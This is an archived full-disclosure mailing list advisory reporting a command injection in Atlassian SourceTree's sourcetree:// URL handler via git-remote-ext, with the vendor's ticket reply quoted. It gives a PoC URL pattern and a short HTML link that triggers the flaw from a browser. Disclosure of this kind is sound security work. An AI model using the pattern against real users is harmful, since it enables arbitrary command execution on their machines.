lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 3 May 2017 12:47:47 +0000
From: 洪宇 <hongyu-s@....cn>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>,
 "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Cc: "security@...assian.com" <security@...assian.com>
Subject: [FD] [oss-security]Sourcetree arbitrary command execution

Hi there,

I would report a sourcetree arbitrary command execution

Sourcetree is a popular git gui client,and I found a command execution two month ago,
and I report to the official atlassian but the told me they have known this vulnerability internal tracker and they will fix it in next version but sourcetree has upgrade several version, this vulnerability still alive.
So I want to disclose this vulnerability and make a copy for atlassian again.


Author: redrain, hongyu-s@....cn
Date: 2017-03-02
Version:2.5c and prior
Platform: macOS, Windows, Linux Desktop
Site: https://www.sourcetreeapp.com
Vendor: Atlassian
Vendor Notified: 2017-03-02


Technical Details:
========================================

SourceTree v2.5c and prior are affected by a command injection in the handling of sourcetree:// scheme.
The cloneRepo action with ‘ext’ is base on git-remote-ext, The git team’s description of the bug was:
Some protocols (like git-remote-ext) can execute arbitrary code found in the URL.
PoC:
sourcetree://cloneRepo/ext::[command injection]
Even attacker can exploit it through the browser
<html>
<head></head>
<body>
         <a href=sourcetree://checkoutRef/ext::id>a</a>
</body>
</html>
There is a simple demo video:
https://youtu.be/SQ1_Ht-0Bdo


Other:
============================================
and there is the last bugtrack I reported:


```
Activity
Your request status changed to Resolved with resolution Tracked Elsewhere.
03/Mar/17 5:35 PMLATEST
Alexander Minozhenko
Alexander Minozhenko03/Mar/17 5:34 PM
Hi rootredrain,
Thank you for sending this notification to Atlassian. This is indeed a vulnerability and an issue has been filed on an internal tracker.
The issue is SRCTREE-4632. Unfortunately, this issue is not accessible externally, so you will not be able to monitor its progress. Feel free to check with us for updates.
redrain
redrain02/Mar/17 5:43 PM
sourcetree_vuln.7z (9.62 MB)
Details02/Mar/17 5:43 PM
Product or Service
Other
Product Version
2.4.1a and earlier
Description
SourceTree v2.4.1a and earlier are affected by a command injection in the handling of sourcetree:// scheme.
The cloneRepo action with ‘ext’ is base on git-remote-ext, The git team’s description of the bug was:
Some protocols (like git-remote-ext) can execute arbitrary code found in the URL.
PoC:
sourcetree://cloneRepo/ext::[command injection]
Even attacker can exploit it through the browser
there is a simple demo in the attachment.
```


Regards,
redrain




_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists